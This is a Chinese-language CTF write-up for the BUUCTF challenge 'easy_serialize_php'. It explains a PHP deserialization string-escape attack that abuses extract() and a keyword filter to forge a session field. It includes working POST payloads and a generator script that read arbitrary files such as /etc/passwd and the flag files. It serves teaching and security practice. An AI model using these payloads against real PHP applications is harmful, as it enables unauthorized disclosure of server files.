BUUCTF [安洵杯 2019]easy_serialize_php 1 详细讲解

题目来自buuctf，这是一题关于php序列化逃逸的题

1. 题目

题目给出的代码

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

2. 分析

extract($_POST);   # 导入变量

$_SESSION['img'] = base64_encode('guest_img.png');  # 改变SESSION[img]=一个固定值

$serialize_info = filter(serialize($_SESSION));  # 序列化SESSION + 过滤，这里造成逃逸

$userinfo = unserialize($serialize_info);   # 反序列化

echo file_get_contents(base64_decode($userinfo['img']));   # base64解码并读取内容

可以看出是通过$_SESSION['img']来读取文件

extract可以将数组中的变量导入当前变量表

也就是说我们可以伪造$_SESSION 数组中的所有数据

_SESSION[user]=123&_SESSION[function]=456

因为extract是在

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

这两条语句后调用的，所有会覆盖里面的变量，但是后面的 $_SESSION[‘img’]覆盖不了
所以我们需要利用filter函数
他将一些关键字进行了置空，也就是从这里发生的逃逸

3. 构造参数

如果你对php序列化的格式不了解，那么你需要先学习一下，这里我粗略讲一下

echo serialize(["a"=>"b","c"=>"d"]);

a:2:{s:1:"a";s:1:"b";s:1:"c";s:1:"d";}

比如序列化一个列表
上面第一个字符 a 表示array（数组）
每个字段由:分隔，后面的2表示这个列表的大小为2
{}里面的内容就是数组的内容了，数组包含键值
s代表字符串，后面1表示这个字符串长度为1，"a"就是它的内容了
;表示结束，里面4个字符串，也就是两对键值对

既然filter能将内容制空，那我们可以做出以下利用

_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:0;i:1;}

我们传递的post参数最终会变成这样

"a:3:{s:1:"a";s:55:"";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";s:3:"exp";s:40:";s:3:"img";s:12:"d2xiIGlzIG5i";i:0;i:1;}";}"

我们传递的_SESSION[a]在序列化后会全部被置空，但是！我们的字符串长度还在，就会造成后面的内容被当成字符串
构造只够长的字符串长度，将_SESSION[img]里面的内容掠过，一直覆盖到我们_SESSION[exp]中的内容
可以看出，_SESSION[exp]里面有一个伪造的img内容，通过这种方式，就可以构造任意的_SESSION[img]字段，读取任意文件

后面 的i:0;i:1， i代表数字，0代表键，就是0，值也是数字，值为1，索引为0，值为1

echo serialize([1]);

a:1:{i:0;i:1;}

因为我们覆盖了一个键值对，所以我们需要补充回去，遇到}时就停止检测了，即使后面还有字符串

这里写了个脚本，使用 php 脚本.php即可执行

<?php
$e = "/etc/passwd";    # 这里填写需要读取的文件
$e = base64_encode($e);
echo '_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=';
echo ';s:3:"img";s:'.strlen($e).':"'.$e.'";i:0;i:1;}';

这里传递 phpinfo 这个值可以执行phpinfo()查看php信息

可以看到一个文件 d0g3_f1ag.php 通过读取这个文件拿到flag

_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:0;i:1;}

再读取 /d0g3_fllllllag 文件

_SESSION[a]=phpflagflagflagflagflagflagflagflagflagflagflagflagflag&_SESSION[img]=1&_SESSION[exp]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:0;i:1;}

拿下flag